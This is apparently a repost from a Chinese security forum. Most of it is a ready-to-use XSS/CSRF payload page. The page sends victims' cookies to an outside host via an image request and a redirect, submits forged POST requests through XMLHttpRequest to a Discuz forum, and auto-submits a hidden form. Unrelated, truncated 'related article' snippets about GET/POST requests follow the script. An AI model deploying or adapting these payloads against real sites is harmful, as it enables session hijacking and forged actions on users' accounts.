from http://www.3g-sec.com/thread-1399-1-1.html
<html>
<head>
<script>
//第一种GET方式
new Image().src="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie);
//第二种GET方式
location.href="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie);
//第一种POST方式(XMLHttpRequest普通POST)
xhr=function(){
var request = false;
if(window.XMLHttpRequest){
request = new XMLHttpRequest();
}else if (window.ActiveXObject){
try{
request = new window.ActiveXObject('Microsoft.XMLHTTP');
}catch(e){
}
}
return request;
}();
request = function(method,src,argv,content_type){
xhr.open(method,src,false);//同步方式,异步把false改为true
if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
//设置表单的content-type类型,常见的是application/x-www-form-urlencoded
//如果是文件上传的表单则content-type为multipart/form-data第二个例子中会有
xhr.send(argv);//发送POST数据
return xhr.responseText;//返回响应的内容
};
attack_a = function(){
var src = "http://www.dzx2.com/forum.php";
var argv_0 = "&name1=value1&name2=value2";
request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();
//第二种POST方式(XMLHttpRequest文件上传POST)
xhr=function(){
var request = false;
if(window.XMLHttpRequest){
request = new XMLHttpRequest();
}else if (window.ActiveXObject){
try{
request = new window.ActiveXObject('Microsoft.XMLHTTP');
}catch(e){
}
}
return request;
}();
request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
xhr.send(argv);
return xhr.responseText;
};
attack_a = function(){
var src = "http://www.dzx2.com/forum.php";
var name1 = "value1";
var name2 = "value2";
var argv_0 = "\r\n";
argv_0 +="---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data;name=\"name1\"\r\n\r\n";
argv_0 +=(name1+"\r\n");
argv_0 +="---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data;name=\"name2\"\r\n\r\n";
argv_0 +=(name2+"\r\n");
argv_0 +="---------------------7964f8dddeb95fc5\r\n";
/*
POST提交的参数是以---------------------7964f8dddeb95fc5分割的
下面设置表单提交的Content-Type与form-data分隔边界为:
multipart/form-data;boundary=---------------------7964f8dddeb95fc5
*/
request("POST",src,argv_0,"multipart/form-data;boundary=---------------------7964f8dddeb95fc5");
}
attack_a();
//第三种POST方式(javascript实现表单自提交)
function new_form(){
var f = document.createElement("form");
document.body.appendChild(f);
f.method = "post";
return f;
}
function create_elements(eForm,eName,eValue){
var e=document.createElement("input");
eForm.appendChild(e);
e.type='text';
e.name=eName;
if(!document.all){
e.style.display='none';
}else{
e.style.display='block';
e.style.width='0px';
e.style.height='0px';
}
e.value=eValue;
return e;
}
var _f=new_form();//创建一个form表单
create_elements(_f,"name1","value1");//创建form中的input对象
create_elements(_f,"name2","value2");
_f.action="http://www.dzx2.com/forum.php";//form提交地址
_f.submit();//提交
</script>
</head>
<body>
</body>
</html>
分享到:
相关推荐
本文将深入探讨如何使用JavaScript来模拟GET、POST、PUT和DELETE请求,这些都是RESTful API中最常见的HTTP方法。 **一、GET请求** GET是最基础的HTTP请求方法,用于获取资源。在JavaScript中,我们可以使用`...
以下是一个使用jQuery发起Ajax GET请求的例子: ```html <!DOCTYPE html> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> $.ajax({ url: 'http://your-backend-api-url', type:...
在Vue组件中,你可以这样发起GET和POST请求: ```javascript // GET请求 this.$http.get('/api/amdatashift/login/probe') .then(function(data) { // 处理成功响应 }) .catch(function() { console.log(...
总的来说,Selenium虽然主要设计用于Web UI测试,但通过JavaScript执行和数据解析,它也能有效地封装和处理POST请求,这对于测试涉及异步请求的场景尤其有用。不过,如果仅关注HTTP请求,更推荐使用像`requests`这样...
6. **监听XHR/Fetch请求**:对于异步请求,如XMLHttpRequest(XHR)或Fetch API,网络面板会显示请求的发起和完成,这对于调试AJAX问题特别有用。 7. **保存和重放请求**:可以保存请求的详细信息,以便于后续分析...
然后,通过触发表单的submit事件,以模拟用户提交表单的行为,这样浏览器会以GET方式请求资源,从而实现Excel文件的下载。 在Java后端,你需要确保能够处理这两种情况。如果你选择重定向,你需要在服务器端处理POST...
在本文中,我们将深入探讨如何使用jQuery和JavaScript来执行GET和POST请求,以及如何与在线模拟API进行交互。这两种技术是Web开发中的基础工具,它们允许前端应用与服务器进行数据交换,实现动态网页功能。 首先,...
3. **HTTP协议**:了解HTTP协议的基本原理,如GET和POST请求,HTTP头的设置等,这对于实现浏览器发送请求到服务器至关重要。 4. **IO流**:JAVA中的输入输出流(IO流)用于数据的读取和写入,如在接收服务器响应时...
在浏览器实现中,通常会创建一个CHttpConnection对象,然后调用其OpenRequest方法来发起对特定URL的请求。这个过程可能涉及到设置HTTP头信息,比如User-Agent,以模拟不同的浏览器行为。 重定向的URL处理是浏览器...
它基于请求与响应模型,客户端(如浏览器)发起一个请求,服务器接收到请求后返回响应。 模拟IE发送HTTP消息通常包括以下几个步骤: 1. **构建请求头**:每个HTTP请求都包含头部信息,这些信息告诉服务器请求的...
代码首先指定了请求的URL和参数,然后定制了请求头信息,包括User-Agent字段,用于伪装成浏览器发起请求。请求发送后,响应内容以JSON格式返回,通过json.loads()函数将JSON字符串转换为Python字典,便于进一步处理...
在JS代码中,`$http.post`用于发起POST请求,传递参数对象(`{a:1, b:2}`)和配置选项(`emulateJSON: true`),表示模拟传统的表单提交。请求成功后,弹出数据结果;失败则显示状态码。 三、JSONP JSONP(JSON ...
前端部分,Vue2.x的组件将使用axios向这个模拟API发起GET请求,获取数据并渲染到界面上。 ```javascript // Express服务器示例 const express = require('express'); const app = express(); app.get('/api/users',...
当用户提交表单时,会触发表单向指定的跨域URL发起POST请求。 然后,通过JavaScript代码创建一个不可见的iframe和form,这个iframe用于托管表单,并且在表单提交之后,使用postMessage方法将回调函数的数据发送回...
- 注意请求方式应使用POST,因为目标网站可能已经禁止GET请求。 **攻击条件:** - 受害者需要使用支持跨站点请求的浏览器,如旧版IE。 - 受害者需要在登录目标网站的同时保持恶意网页的打开状态。 **攻击效果:**...
- 爬虫扩展:对于需要用户交互的网站,Requests可以发起初始请求,Selenium则负责后续的动态加载和交互。 - 动态网页测试:Requestium可以更方便地测试那些依赖JavaScript渲染的页面。 在实际使用Requestium时,你...
它定义了客户端和服务器之间的通信格式,包括请求方法(如GET、POST等)、请求头、URL、状态码以及响应头等元素。 .NET框架提供了丰富的类库来支持HTTP通信,其中System.Net命名空间下的HttpClient类是最常用的一个...
这些API通常是基于RESTful架构,需要理解HTTP方法(GET、POST等)、请求头和JSON数据格式。 7. **多线程和异步编程**:为了保证用户体验,程序可能使用了多线程或异步编程模型,使得网络请求和UI更新可以在不阻塞...
一旦找到这些API,我们可以使用`requests`库直接向这些接口发起GET或POST请求,获取视频数据。例如,可以创建一个函数,接收视频ID作为参数,构造请求URL,然后解析返回的JSON数据,提取出视频标题、作者、播放次数...
2. **处理参数**:接收URL、数据、请求类型(GET/POST)、是否异步等参数,并将它们适当地设置到请求中。 3. **处理响应**:当请求完成后,解析服务器返回的数据,可能是JSON、XML或其他格式。 4. **错误处理**:...